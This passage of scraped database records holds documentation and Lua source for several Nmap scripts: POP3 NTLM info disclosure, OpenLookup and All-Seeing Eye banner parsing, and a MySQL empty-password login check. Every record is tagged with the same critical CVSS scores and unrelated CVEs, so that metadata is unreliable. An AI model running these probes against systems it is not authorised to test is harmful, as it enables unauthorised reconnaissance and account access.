"2022-02-15T09:38:21", "description": "This script enumerates information from remote POP3 services with NTLM authentication enabled. \n\nSending a POP3 NTLM authentication request with null credentials will cause the remote service to respond with a NTLMSSP message disclosing information to include NetBIOS, DNS, and OS build version.\n\n## Script Arguments \n\n#### smbdomain, smbhash, smbnoguest, smbpassword, smbtype, smbusername \n\nSee the documentation for the [smbauth](<../lib/smbauth.html#script-args>) library. \n\n## Example Usage \n \n \n nmap -p 110,995 --script pop3-ntlm-info <target>\n \n\n## Script Output \n \n \n 110/tcp open pop3\n | pop3-ntlm-info:\n | Target_Name: ACTIVEPOP3\n | NetBIOS_Domain_Name: ACTIVEPOP3\n | NetBIOS_Computer_Name: POP3-TEST2\n | DNS_Domain_Name: somedomain.com\n | DNS_Computer_Name: pop3-test2.somedomain.com\n | DNS_Tree_Name: somedomain.com\n |_ Product_Version: 6.1.7601\n \n\n## Requires \n\n * [comm](<../lib/comm.html>)\n * [os](<>)\n * [datetime](<../lib/datetime.html>)\n * [shortport](<../lib/shortport.html>)\n * [stdnse](<../lib/stdnse.html>)\n * [base64](<../lib/base64.html>)\n * [smbauth](<../lib/smbauth.html>)\n * [string](<>)\n\n* * *\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2016-01-08T16:06:37", "type": "nmap", "title": "pop3-ntlm-info NSE Script", "bulletinFamily": "scanner", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2012-1182", "CVE-2017-7494"], "modified": "2017-08-15T07:26:00", "id": "NMAP:POP3-NTLM-INFO.NSE", "href": "https://nmap.org/nsedoc/scripts/pop3-ntlm-info.html", "sourceData": "local comm = require \"comm\"\nlocal os = require \"os\"\nlocal datetime = require \"datetime\"\nlocal shortport = require \"shortport\"\nlocal stdnse = require \"stdnse\"\nlocal base64 = require \"base64\"\nlocal smbauth = require \"smbauth\"\nlocal string = require \"string\"\n\n\ndescription = [[\nThis script enumerates information from remote POP3 services with NTLM\nauthentication enabled.\n\nSending a POP3 NTLM authentication request with null credentials will\ncause the remote service to respond with a NTLMSSP message disclosing\ninformation to include NetBIOS, DNS, and OS build version.\n]]\n\n\n---\n-- @usage\n-- nmap -p 110,995 --script pop3-ntlm-info <target>\n--\n-- @output\n-- 110/tcp open pop3\n-- | pop3-ntlm-info:\n-- | Target_Name: ACTIVEPOP3\n-- | NetBIOS_Domain_Name: ACTIVEPOP3\n-- | NetBIOS_Computer_Name: POP3-TEST2\n-- | DNS_Domain_Name: somedomain.com\n-- | DNS_Computer_Name: pop3-test2.somedomain.com\n-- | DNS_Tree_Name: somedomain.com\n-- |_ Product_Version: 6.1.7601\n--\n--@xmloutput\n-- <elem key=\"Target_Name\">ACTIVEPOP3</elem>\n-- <elem key=\"NetBIOS_Domain_Name\">ACTIVEPOP3</elem>\n-- <elem key=\"NetBIOS_Computer_Name\">POP3-TEST2</elem>\n-- <elem key=\"DNS_Domain_Name\">somedomain.com</elem>\n-- <elem key=\"DNS_Computer_Name\">pop3-test2.somedomain.com</elem>\n-- <elem key=\"DNS_Tree_Name\">somedomain.com</elem>\n-- <elem key=\"Product_Version\">6.1.7601</elem>\n\n\nauthor = \"Justin Cacak\"\nlicense = \"Same as Nmap--See https://nmap.org/book/man-legal.html\"\ncategories = {\"default\", \"discovery\", \"safe\"}\n\n\nlocal ntlm_auth_blob = base64.enc( select(2,\n smbauth.get_security_blob(nil, nil, nil, nil, nil, nil, nil,\n 0x00000001 + -- Negotiate Unicode\n 0x00000002 + -- Negotiate OEM strings\n 0x00000004 + -- Request Target\n 0x00000200 + -- Negotiate NTLM\n 0x00008000 + -- Negotiate Always Sign\n 0x00080000 + -- Negotiate NTLM2 Key\n 0x20000000 + -- Negotiate 128\n 0x80000000 -- Negotiate 56\n ))\n )\n\nportrule = shortport.port_or_service({ 110, 995 }, { \"pop3\", \"pop3s\" })\n\naction = function(host, port)\n\n local output = stdnse.output_table()\n\n -- Negotiate connection protocol\n local socket, line, bopt, first_line = comm.tryssl(host, port, \"\" , {recv_before=true})\n if not socket then\n return\n end\n\n -- Do not attempt to upgrade to a TLS connection if already over TLS\n if not shortport.ssl(host,port) then\n -- Attempt to upgrade to a TLS connection if supported (may not be advertised)\n -- Various implementations *require* this before accepting authentication requests\n socket:send(\"STLS\\r\\n\")\n local status, response = socket:receive()\n if not status then\n return\n end\n -- Upgrade the connection if STARTTLS permitted, else continue without\n if string.match(response, \".*OK.*\") then\n status, response = socket:reconnect_ssl()\n if not status then\n return\n end\n end\n end\n\n socket:send(\"AUTH NTLM\\r\\n\")\n local status, response = socket:receive()\n if not response then\n return\n end\n\n socket:send(ntlm_auth_blob .. \"\\r\\n\")\n status, response = socket:receive()\n if not response then\n return\n end\n\n local recvtime = os.time()\n socket:close()\n\n -- Continue only if a + response is returned\n if not string.match(response, \"+ .*\") then\n return\n end\n\n local response_decoded = base64.dec(string.match(response, \"+ (.*)\"))\n\n -- Continue only if NTLMSSP response is returned\n if not string.match(response_decoded, \"(NTLMSSP.*)\") then\n return nil\n end\n\n -- Leverage smbauth.get_host_info_from_security_blob() for decoding\n local ntlm_decoded = smbauth.get_host_info_from_security_blob(response_decoded)\n\n if ntlm_decoded.timestamp then\n -- 64-bit number of 100ns clicks since 1/1/1601\n local unixstamp = ntlm_decoded.timestamp // 10000000 - 11644473600\n datetime.record_skew(host, unixstamp, recvtime)\n end\n\n -- Target Name will always be returned under any implementation\n output.Target_Name = ntlm_decoded.target_realm\n\n -- Display information returned & ignore responses with null values\n if ntlm_decoded.netbios_domain_name and #ntlm_decoded.netbios_domain_name > 0 then\n output.NetBIOS_Domain_Name = ntlm_decoded.netbios_domain_name\n end\n\n if ntlm_decoded.netbios_computer_name and #ntlm_decoded.netbios_computer_name > 0 then\n output.NetBIOS_Computer_Name = ntlm_decoded.netbios_computer_name\n end\n\n if ntlm_decoded.dns_domain_name and #ntlm_decoded.dns_domain_name > 0 then\n output.DNS_Domain_Name = ntlm_decoded.dns_domain_name\n end\n\n if ntlm_decoded.fqdn and #ntlm_decoded.fqdn > 0 then\n output.DNS_Computer_Name = ntlm_decoded.fqdn\n end\n\n if ntlm_decoded.dns_forest_name and #ntlm_decoded.dns_forest_name > 0 then\n output.DNS_Tree_Name = ntlm_decoded.dns_forest_name\n end\n\n if ntlm_decoded.os_major_version then\n output.Product_Version = string.format(\"%d.%d.%d\",\n ntlm_decoded.os_major_version, ntlm_decoded.os_minor_version, ntlm_decoded.os_build)\n end\n\n return output\n\nend\n", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-02-15T09:39:38", "description": "Parses and displays the banner information of an OpenLookup (network key-value store) server.\n\n## Example Usage \n \n \n nmap -p 5850 --script openlookup-info <target>\n \n\n## Script Output \n \n \n 5850/tcp open openlookup\n | openlookup-info:\n | sync port: 5850\n | name: Paradise, Arizona\n | your address: 127.0.0.1:50162\n | timestamp: 2011-05-21T11:26:07\n | version: 2.7\n |_ http port: 5851\n \n\n## Requires \n\n * [comm](<../lib/comm.html>)\n * [datetime](<../lib/datetime.html>)\n * [nmap](<../lib/nmap.html>)\n * [shortport](<../lib/shortport.html>)\n * [stdnse](<../lib/stdnse.html>)\n * [string](<>)\n * [stringaux](<../lib/stringaux.html>)\n * [table](<>)\n\n* * *\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2011-10-03T21:35:30", "type": "nmap", "title": "openlookup-info NSE Script", "bulletinFamily": "scanner", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2012-1182", "CVE-2017-7494"], "modified": "2018-10-18T01:08:19", "id": "NMAP:OPENLOOKUP-INFO.NSE", "href": "https://nmap.org/nsedoc/scripts/openlookup-info.html", "sourceData": "local comm = require \"comm\"\nlocal datetime = require \"datetime\"\nlocal nmap = require \"nmap\"\nlocal shortport = require \"shortport\"\nlocal stdnse = require \"stdnse\"\nlocal string = require \"string\"\nlocal stringaux = require \"stringaux\"\nlocal table = require \"table\"\n\ndescription = [[\nParses and displays the banner information of an OpenLookup (network key-value store) server.\n]]\n\n---\n-- @usage\n-- nmap -p 5850 --script openlookup-info <target>\n--\n-- @output\n-- 5850/tcp open openlookup\n-- | openlookup-info:\n-- | sync port: 5850\n-- | name: Paradise, Arizona\n-- | your address: 127.0.0.1:50162\n-- | timestamp: 2011-05-21T11:26:07\n-- | version: 2.7\n-- |_ http port: 5851\n--\n-- @xmloutput\n-- <elem key=\"sync port\">5850</elem>\n-- <elem key=\"name\">Paradise, Arizona</elem>\n-- <elem key=\"your address\">127.0.0.1:50162</elem>\n-- <elem key=\"timestamp\">2011-05-21T11:26:07</elem>\n-- <elem key=\"version\">2.7</elem>\n-- <elem key=\"http port\">5851</elem>\n\nauthor = \"Toni Ruottu\"\nlicense = \"Same as Nmap--See https://nmap.org/book/man-legal.html\"\ncategories = {\"default\", \"discovery\", \"safe\", \"version\"}\n\n\nportrule = shortport.version_port_or_service(5850, \"openlookup\")\n\n-- Netstring helpers\n-- http://cr.yp.to/proto/netstrings.txt\n\n-- parses a Netstring element\nlocal function parsechunk(data)\n local parts = stringaux.strsplit(\":\", data)\n if #parts < 2 then\n return nil, data\n end\n local head = table.remove(parts, 1)\n local size = tonumber(head)\n if not size then\n return nil, data\n end\n local body = table.concat(parts, \":\")\n if #body < size then\n return nil, data\n end\n local chunk = string.sub(body, 1, size)\n local skip = #chunk + string.len(\",\")\n local rest = string.sub(body, skip + 1)\n return chunk, rest\nend\n\n-- NSON helpers\n-- http://code.google.com/p/messkit/source/browse/trunk/messkit/nson.py\n\n-- parses an NSON int\nlocal function parseint(data)\n if string.sub(data, 1, 1) ~= \"i\" then\n return\n end\n local text = string.sub(data, 2)\n local number = tonumber(text)\n return number\nend\n\n-- parses an NSON float\nlocal function parsefloat(data)\n if string.sub(data, 1, 1) ~= \"f\" then\n return\n end\n local text = string.sub(data, 2)\n local number = tonumber(text)\n return number\nend\n\n-- parses an NSON string\nlocal function parsestring(data)\n if string.sub(data, 1, 1) ~= \"s\" then\n return\n end\n return string.sub(data, 2)\nend\n\n-- parses an NSON int, float, or string\nlocal function parsesimple(data)\n local i = parseint(data)\n local f = parsefloat(data)\n local s = parsestring(data)\n return i or f or s\nend\n\n-- parses an NSON dictionary\nlocal function parsedict(data)\n if #data < 1 then\n return\n end\n if string.sub(data, 1, 1) ~= \"d\" then\n return\n end\n local rest = string.sub(data, 2)\n local dict = {}\n while #rest > 0 do\n local chunk, key, value\n chunk, rest = parsechunk(rest)\n if not chunk then\n return\n end\n key = parsestring(chunk)\n value, rest = parsechunk(rest)\n if not value then\n return\n end\n dict[key] = value\n end\n return dict\nend\n\n-- parses an NSON array\nlocal function parsearray(data)\n if #data < 1 then\n return\n end\n if string.sub(data, 1, 1) ~= \"a\" then\n return\n end\n local rest = string.sub(data, 2)\n local array = {}\n while #rest > 0 do\n local value\n value, rest = parsechunk(rest)\n if not value then\n return\n end\n table.insert(array, value)\n end\n return array\nend\n\n-- OpenLookup specific stuff\n\nlocal function formataddress(data)\n local parts = parsearray(data)\n if not parts then\n return\n end\n if #parts < 2 then\n return\n end\n local ip = parsestring(parts[1])\n if not ip then\n return\n end\n local port = parseint(parts[2])\n if not port then\n return\n end\n return ip .. \":\" .. port\nend\n\nlocal function formattime(data)\n local time = parsefloat(data)\n if not time then\n return\n end\n return datetime.format_timestamp(time)\nend\n\nlocal function formatvalue(key, nson)\n local value\n if key == \"your_address\" then\n value = formataddress(nson)\n elseif key == \"timestamp\" then\n value = formattime(nson)\n else\n value = parsesimple(nson)\n end\n if not value then\n value = \"<\" .. #nson .. \"B of data>\"\n end\n return value\nend\n\nfunction formatoptions(header)\n local msg = parsedict(header)\n if not msg then\n return\n end\n local rawmeth = msg[\"method\"]\n if not rawmeth then\n stdnse.debug2(\"header missing method field\")\n return\n end\n local method = parsestring(rawmeth)\n if not method then\n return\n end\n if method ~= \"hello\" then\n stdnse.debug1(\"expecting hello, got \" .. method .. \" instead\")\n return\n end\n local rawopts = msg[\"options\"]\n if not rawopts then\n return {}\n end\n return parsedict(rawopts)\nend\n\naction = function(host, port)\n local status, banner = comm.get_banner(host, port)\n if not status then\n return\n end\n local header, _ = parsechunk(banner)\n if not header then\n return\n end\n local options = formatoptions(header)\n if not options then\n return\n end\n port.version.name = \"openlookup\"\n local version = options[\"version\"]\n if version then\n port.version.version = version\n end\n nmap.set_port_version(host, port)\n if #options < 1 then\n return\n end\n return options\nend\n\n", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-02-15T09:42:40", "description": "Checks for MySQL servers with an empty password for `root` or `anonymous`.\n\n### See also:\n\n * [ mysql-brute.nse ](<../scripts/mysql-brute.html>)\n\n## Example Usage \n \n \n nmap -sV --script=mysql-empty-password <target>\n\n## Script Output \n \n \n 3306/tcp open mysql\n | mysql-empty-password:\n | anonymous account has empty password\n |_ root account has empty password\n\n## Requires \n\n * [mysql](<../lib/mysql.html>)\n * [nmap](<../lib/nmap.html>)\n * [shortport](<../lib/shortport.html>)\n * [stdnse](<../lib/stdnse.html>)\n * [string](<>)\n * [table](<>)\n\n* * *\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2010-01-26T09:40:38", "type": "nmap", "title": "mysql-empty-password NSE Script", "bulletinFamily": "scanner", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2012-1182", "CVE-2017-7494"], "modified": "2017-01-23T20:37:22", "id": "NMAP:MYSQL-EMPTY-PASSWORD.NSE", "href": "https://nmap.org/nsedoc/scripts/mysql-empty-password.html", "sourceData": "local mysql = require \"mysql\"\nlocal nmap = require \"nmap\"\nlocal shortport = require \"shortport\"\nlocal stdnse = require \"stdnse\"\nlocal string = require \"string\"\nlocal table = require \"table\"\n\ndescription = [[\nChecks for MySQL servers with an empty password for <code>root</code> or\n<code>anonymous</code>.\n]]\n\n---\n-- @see mysql-brute.nse\n--\n-- @output\n-- 3306/tcp open mysql\n-- | mysql-empty-password:\n-- | anonymous account has empty password\n-- |_ root account has empty password\n\nauthor = \"Patrik Karlsson\"\nlicense = \"Same as Nmap--See https://nmap.org/book/man-legal.html\"\ncategories = {\"intrusive\", \"auth\"}\n\n\n-- Version 0.3\n-- Created 01/15/2010 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>\n-- Revised 01/23/2010 - v0.2 - revised by Patrik Karlsson, added anonymous account check\n-- Revised 01/23/2010 - v0.3 - revised by Patrik Karlsson, fixed abort bug due to try of loginrequest\n\nportrule = shortport.port_or_service(3306, \"mysql\")\n\naction = function( host, port )\n\n local socket = nmap.new_socket()\n local result = {}\n local users = {\"\", \"root\"}\n\n -- set a reasonable timeout value\n socket:set_timeout(5000)\n\n for _, v in ipairs( users ) do\n local status, response = socket:connect(host, port)\n if( not(status) ) then return stdnse.format_output(false, \"Failed to connect to mysql server\") end\n\n status, response = mysql.receiveGreeting( socket )\n if ( not(status) ) then\n stdnse.debug3(\"%s\", SCRIPT_NAME)\n socket:close()\n return response\n end\n\n status, response = mysql.loginRequest( socket, { authversion = \"post41\", charset = response.charset }, v, nil, response.salt )\n if response.errorcode == 0 then\n table.insert(result, string.format(\"%s account has empty password\", ( v==\"\" and \"anonymous\" or v ) ) )\n if nmap.registry.mysqlusers == nil then\n nmap.registry.mysqlusers = {}\n end\n nmap.registry.mysqlusers[v==\"\" and \"anonymous\" or v] = \"\"\n end\n socket:close()\n end\n\n return stdnse.format_output(true, result)\n\nend\n", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-02-15T21:47:32", "description": "Detects the All-Seeing Eye service. Provided by some game servers for querying the server's status. \n\nThe All-Seeing Eye service can listen on a UDP port separate from the main game server port (usually game port + 123). On receiving a packet with the payload \"s\", it replies with various game server status info. \n\nWhen run as a version detection script (`-sV`), the script will report on the game name, version, actual port, and whether it has a password. When run explicitly (`--script allseeingeye-info`), the script will additionally report on the server name, game type, map name, current number of players, maximum number of players, player information, and various other information. \n\nFor more info on the protocol see: <http://int64.org/docs/gamestat-protocols/ase.html> <http://aluigi.altervista.org/papers.htm#ase> <http://sourceforge.net/projects/gameq/> (relevant files: games.ini, packets.ini, ase.php)\n\n## Example Usage \n\n * nmap -sV <target>\n\n * nmap -Pn -sU -sV --script allseeingeye-info -p <port> <target>\n \n\n## Script Output \n \n \n PORT STATE SERVICE REASON VERSION\n 27138/udp open allseeingeye udp-response All-Seeing Eye (game: chrome 1.2.0.0ww; port: 27015; no password)\n | allseeingeye-info:\n | game: chrome\n | port: 27015\n | server name: ChromeNet Server\n | game type: Team Death Match\n | map: Data/LevelsNet/Narrow/Narrow.map\n | version: 1.2.0.0ww\n | passworded: 0\n | num players: 2\n | max players: 16\n | settings:\n | Dedicated: No\n | Password Required: No\n | Time Limit: 30\n | Points Limit: 200 min.\n | Respawns Limit: unlimited\n | Respawn Delay: 10 sec.\n | Enemies Visible On Map: No\n | Available Inventory Room: Yes\n | Identify Enemy Players: No\n | Available Vehicles: Yes\n | Vehicle Respaws Limit: unlimited\n | Vehicle Respawn Delay: 30 sec.\n | Vehicle Auto Return Time: 90 sec.\n | Vehicles Visible On Map: Yes\n | Team Balance: Off\n | Friendly Fire: On\n | Friends Visible On Map: Yes\n | players:\n | player 0:\n | name: NoVoDondo\n | team: BLUE\n | skin:\n | score: 71\n | ping: 0\n | time:\n | player 1:\n | name: HeroX\n | team: RED\n | skin:\n | score: 0\n | ping: 11\n |_ time:\n \n\n## Requires \n\n * [comm](<../lib/comm.html>)\n * [nmap](<../lib/nmap.html>)\n * [shortport](<../lib/shortport.html>)\n * [string](<>)\n * [stdnse](<../lib/stdnse.html>)\n\n* * *\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2013-12-01T22:09:16", "type": "nmap", "title": "allseeingeye-info NSE Script", "bulletinFamily": "scanner", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2012-1182", "CVE-2017-7494"], "modified": "2018-09-06T16:00:46", "id": "NMAP:ALLSEEINGEYE-INFO.NSE", "href": "https://nmap.org/nsedoc/scripts/allseeingeye-info.html", "sourceData": "local comm = require \"comm\"\nlocal nmap = require \"nmap\"\nlocal shortport = require \"shortport\"\nlocal string = require \"string\"\nlocal stdnse = require \"stdnse\"\n\ndescription = [[\nDetects the All-Seeing Eye service. Provided by some game servers for\nquerying the server's status.\n\nThe All-Seeing Eye service can listen on a UDP port separate from the\nmain game server port (usually game port + 123). On receiving a packet\nwith the payload \"s\", it replies with various game server status info.\n\nWhen run as a version detection script (<code>-sV</code>), the script\nwill report on the game name, version, actual port, and whether it has a\npassword. When run explicitly (<code>--script allseeingeye-info</code>), the\nscript will additionally report on the server name, game type, map name,\ncurrent number of players, maximum number of players, player\ninformation, and various other information.\n\nFor more info on the protocol see:\nhttp://int64.org/docs/gamestat-protocols/ase.html\nhttp://aluigi.altervista.org/papers.htm#ase\nhttp://sourceforge.net/projects/gameq/\n(relevant files: games.ini, packets.ini, ase.php)\n]]\n\n---\n-- @usage\n-- nmap -sV <target>\n-- @usage\n-- nmap -Pn -sU -sV --script allseeingeye-info -p <port> <target>\n--\n-- @output\n-- PORT STATE SERVICE REASON VERSION\n-- 27138/udp open allseeingeye udp-response All-Seeing Eye (game: chrome 1.2.0.0ww; port: 27015; no password)\n-- | allseeingeye-info:\n-- | game: chrome\n-- | port: 27015\n-- | server name: ChromeNet Server\n-- | game type: Team Death Match\n-- | map: Data/LevelsNet/Narrow/Narrow.map\n-- | version: 1.2.0.0ww\n-- | passworded: 0\n-- | num players: 2\n-- | max players: 16\n-- | settings:\n-- | Dedicated: No\n-- | Password Required: No\n-- | Time Limit: 30\n-- | Points Limit: 200 min.\n-- | Respawns Limit: unlimited\n-- | Respawn Delay: 10 sec.\n-- | Enemies Visible On Map: No\n-- | Available Inventory Room: Yes\n-- | Identify Enemy Players: No\n-- | Available Vehicles: Yes\n-- | Vehicle Respaws Limit: unlimited\n-- | Vehicle Respawn Delay: 30 sec.\n-- | Vehicle Auto Return Time: 90 sec.\n-- | Vehicles Visible On Map: Yes\n-- | Team Balance: Off\n-- | Friendly Fire: On\n-- | Friends Visible On Map: Yes\n-- | players:\n-- | player 0:\n-- | name: NoVoDondo\n-- | team: BLUE\n-- | skin:\n-- | score: 71\n-- | ping: 0\n-- | time:\n-- | player 1:\n-- | name: HeroX\n-- | team: RED\n-- | skin:\n-- | score: 0\n-- | ping: 11\n-- |_ time:\n--\n-- @xmloutput\n-- <elem key=\"game\">chrome</elem>\n-- <elem key=\"port\">27015</elem>\n-- <elem key=\"server name\">ChromeNet Server</elem>\n-- <elem key=\"game type\">Team Death Match</elem>\n-- <elem key=\"map\">Data/LevelsNet/Narrow/Narrow.map</elem>\n-- <elem key=\"version\">1.2.0.0ww</elem>\n-- <elem key=\"passworded\">0</elem>\n-- <elem key=\"num players\">2</elem>\n-- <elem key=\"max players\">16</elem>\n-- <table key=\"settings\">\n-- <elem key=\"Dedicated\">No</elem>\n-- <elem key=\"Password Required\">No</elem>\n-- <elem key=\"Time Limit\">30</elem>\n-- <elem key=\"Points Limit\">200 min.</elem>\n-- <elem key=\"Respawns Limit\">unlimited</elem>\n-- <elem key=\"Respawn Delay\">10 sec.</elem>\n-- <elem key=\"Enemies Visible On Map\">No</elem>\n-- <elem key=\"Available Inventory Room\">Yes</elem>\n-- <elem key=\"Identify Enemy Players\">No</elem>\n-- <elem key=\"Available Vehicles\">Yes</elem>\n-- <elem key=\"Vehicle Respaws Limit\">unlimited</elem>\n-- <elem key=\"Vehicle Respawn Delay\">30 sec.</elem>\n-- <elem key=\"Vehicle Auto Return Time\">90 sec.</elem>\n-- <elem key=\"Vehicles Visible On Map\">Yes</elem>\n-- <elem key=\"Team Balance\">Off</elem>\n-- <elem key=\"Friendly Fire\">On</elem>\n-- <elem key=\"Friends Visible On Map\">Yes</elem>\n-- </table>\n-- <table key=\"players\">\n-- <table key=\"player 0\">\n-- <elem key=\"name\">NoVoDondo</elem>\n-- <elem key=\"team\">BLUE</elem>\n-- <elem key=\"skin\"></elem>\n-- <elem key=\"score\">71</elem>\n-- <elem key=\"ping\">0</elem>\n-- <elem key=\"time\"></elem>\n-- </table>\n-- <table key=\"player 1\">\n-- <elem key=\"name\">HeroX</elem>\n-- <elem key=\"team\">RED</elem>\n-- <elem key=\"skin\"></elem>\n-- <elem key=\"score\">0</elem>\n-- <elem key=\"ping\">11</elem>\n-- <elem key=\"time\"></elem>\n-- </table>\n-- </table>\n\nauthor = \"Marin Mar\u017ei\u0107\"\nlicense = \"Same as Nmap--See https://nmap.org/book/man-legal.html\"\ncategories = { \"discovery\", \"safe\", \"version\" }\n\nportrule = shortport.version_port_or_service({1258,2126,3123,12444,13200,23196,26000,27138,27244,27777,28138}, \"allseeingeye\", \"udp\")\n\naction = function(host, port)\n local status, data = comm.exchange(host, port, \"s\", { timeout = 3000 })\n if not status then\n return\n end\n\n -- UDP port is open\n nmap.set_port_state(host, port, \"open\")\n\n if not string.match(data, \"^EYE1\") then\n return\n end\n\n -- Detected; extract fields\n local o = stdnse.output_table()\n local pos = 5\n\n o[\"game\"],\n o[\"port\"],\n o[\"server name\"],\n o[\"game type\"],\n o[\"map\"],\n o[\"version\"],\n o[\"passworded\"],\n o[\"num players\"],\n o[\"max players\"], pos = string.unpack((\"s1\"):rep(9), data, pos)\n\n -- extract the key-value pairs\n local kv = stdnse.output_table()\n o[\"settings\"] = kv\n while data:byte(pos) ~= 1 do\n local key, value\n key, value, pos = string.unpack(\"s1s1\", data, pos)\n kv[key] = value\n end\n pos = pos + 1\n\n -- extract player info\n local players = stdnse.output_table()\n o[\"players\"] = players\n local playernum = 0\n while pos <= #data do\n local flags = data:byte(pos)\n pos = pos + 1\n\n local player = stdnse.output_table()\n if (flags & 1) ~= 0 then\n player.name, pos = string.unpack(\"s1\", data, pos)\n end\n if (flags & 2) ~= 0 then\n player.team, pos = string.unpack(\"s1\", data, pos)\n end\n if (flags & 4) ~= 0 then\n player.skin, pos = string.unpack(\"s1\", data, pos)\n end\n if (flags & 8) ~= 0 then\n player.score, pos = string.unpack(\"s1\", data, pos)\n end\n if (flags & 16) ~= 0 then\n player.ping, pos = string.unpack(\"s1\", data, pos)\n end\n if (flags & 32) ~= 0 then\n player.time, pos = string.unpack(\"s1\", data, pos)\n end\n\n players[\"player \" .. playernum] = player\n playernum = playernum + 1\n end\n\n port.version.name = \"ase\"\n port.version.name_confidence = 10\n port.version.product = \"All-Seeing Eye\"\n local passworded_string\n if o[\"passworded\"] == \"0\" then\n passworded_string = \"; no password\"\n else\n passworded_string = \"; has password\"\n end\n port.version.extrainfo = \"game: \" .. o[\"game\"] .. \" \" .. o[\"version\"] .. \"; port: \" .. o[\"port\"] .. passworded_string\n\n nmap.set_port_version(host, port, \"hardmatched\")\n\n return o\nend\n", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-02-15T21:42:43", "description": "Exploits the Max-Forwards HTTP header to detect the presence of reverse proxies. \n\nThe script works by sending HTTP requests with values of the Max-Forwards HTTP header varying from 0 to 2 and checking for any anomalies in certain response values such as the status code, Server, Content-Type and Content-Length HTTP headers and body values such as the HTML title. \n\nBased on the work of: \n\n * Nicolas Gregoire (nicolas.gregoire@agarri.fr) \n * Julien Cayssol (tools@aqwz.com) \n\nFor more information, see: \n\n * <http://www.agarri.fr/kom/archives/2011/11/12/traceroute-like_http_scanner/index.html>\n\n## Script Arguments \n\n#### http-traceroute.path \n\nThe path to send requests to. Defaults to `/`.\n\n#### http-traceroute.method \n\nHTTP request method to use. Defaults to `GET`. Among other values, TRACE is probably the most interesting.\n\n#### slaxml.debug \n\nSee the documentation for the [slaxml](<../lib/slaxml.html#script-args>) library. \n\n#### http.host, http.max-body-size, http.max-cache-size, http.max-pipeline, http.pipeline, http.truncated-ok, http.useragent \n\nSee the documentation for the [http](<../lib/http.html#script-args>) library. \n\n#### smbdomain, smbhash, smbnoguest, smbpassword, smbtype, smbusername \n\nSee the documentation for the [smbauth](<../lib/smbauth.html#script-args>) library. \n\n## Example Usage \n \n \n nmap --script=http-traceroute 